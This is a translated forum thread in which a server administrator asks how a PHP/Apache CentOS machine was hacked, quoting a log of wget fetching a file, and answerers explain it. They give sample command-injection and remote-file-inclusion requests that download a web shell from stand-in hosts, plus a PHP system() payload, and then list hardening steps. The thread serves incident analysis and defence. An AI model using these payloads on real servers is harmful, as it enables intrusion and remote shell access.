我们的一台运行 PHP/Apache 的 CentOS 机器最近被黑客入侵了。幸运的是,我们很快就要停用这台服务器,并进行备份等。但是,我需要一些帮助来找出黑客是如何入侵的。
据我所知,似乎有一些脚本是使用 apache 写入我们的服务器的(也许是 PUT?),在 apache error_logs 中我看到:
[Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php
--2010-09-10 12:46:45-- http://208.75.xx.xx/newmax/max.txt
Connecting to 208.75.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28975 (28K) [text/plain]
Saving to: `max.txt'
0K .......... .......... ........ 100% 184K=0.2s
2010-09-10 12:46:45 (184 KB/s) - `max.txt' saved [28975/28975]
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M 3 28975 3 1140 0 0 8597 0 0:00:03 --:--:-- 0:00:03 8597^M100 28975 100 28975 0 0 88203 0 --:--:-- --:--:-- --:--:-- 139k
sh: lynx: command not found
[Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php
(第一行和最后一行只是虚拟错误行,用于指示日志格式和中间条目的奇怪之处)。
任何想法,Apache 错误日志将如何具有这种格式以及它可能是如何被触发的?
当我发现更多内容时,我会对这个问题添加更多内容。
答案1
我猜想 register_globals 已打开,并且您正在运行 OSCommerce,但没有其论坛中的四个补丁。我不知道他们为什么拒绝使用补丁更新 .zip/.gz 文件。
我猜想 max.txt 可能是 c99 shell,并作为 something.php 下载到您的 /store/images 路径中。一旦他们能够在浏览器中运行该文件,他们就拥有了一个远程 shell。
如果您没有运行 OSCommerce,请查找包含文件中的匹配项。例如,您可能有一个不应直接调用的 function.php 文件,其中包含:
exec($path . 'convert blahblah');
发送请求如下:
hxxp://yoursite.com/function.php?path=wget%20-O%20/path/to/something/web/accessible/file.php%20hxxp://blahblah
这允许他们将文件写入可远程执行的磁盘。他们还可能利用代码中的 XSS 漏洞来执行如下操作:
require($webpath . '/functions.lib.php');
并通过 ?webpath=hxxp://c99shell.com/location.txt? 发送请求,从而为他们提供了一个远程 shell。一旦他们获得远程 shell,他们就会尝试运行 wget/lynx(或上传一个 shell 脚本来运行多种方法,以确保他们的 payload 已安装)
在这种情况下,allow_url_include=off 可能会有帮助。
答案2
入侵服务器的典型方式如下:
1) 服务器以默认设置运行 PHP;这意味着没有 safe_mode,允许使用所有 POSIX 函数(例如 system()),并且激活了几个通用但危险的 PHP 模块(例如 curl)
2)服务器已使用默认设置挂载了 /tmp(或用于 http 上传的任何临时目录);这意味着它允许执行文件。
3)服务器已使用默认设置挂载了 /var/www(或 webroot 的挂载点);这意味着它允许执行文件。
4) 某些 CMS 或其他安装的软件中存在输入验证较弱的自制 PHP 脚本/已知漏洞。
在这样的环境中,攻击者可以通过 http 上传恶意文件或指示服务器从远程服务器获取文件,然后通过传递一些缺少输入验证的 URL 参数来运行该脚本。
如果 PHP 脚本未验证输入,则 URL 参数(或 POST 请求)可能包含类似<?php system("/tmp/pwn4g3"); ?>
.karmawhore 已经解释过这一点的内容。
因此,为了制止这种邪恶行为:
- 使用以下命令挂载 webroot 和 PHP 临时目录禁止执行旗帜。
- 如果可能的话禁用 PHP 中的危险功能
- 如果可能的话,使用 PHP 的 safe_mode(尽管它远非万无一失,而且可能随着时间的推移而被完全删除)。
- 不允许 Apache 用户使用 gcc,或者更好的是,根本不要将 gcc 安装到您的网络服务器上。
- 使用mod_security。
- 使用苏霍辛。
- 使用 php-fpm、suphp 或其他技术以脚本所有者账户而不是一般 Apache 账户的身份运行脚本。
- 保持你的软件为最新版本。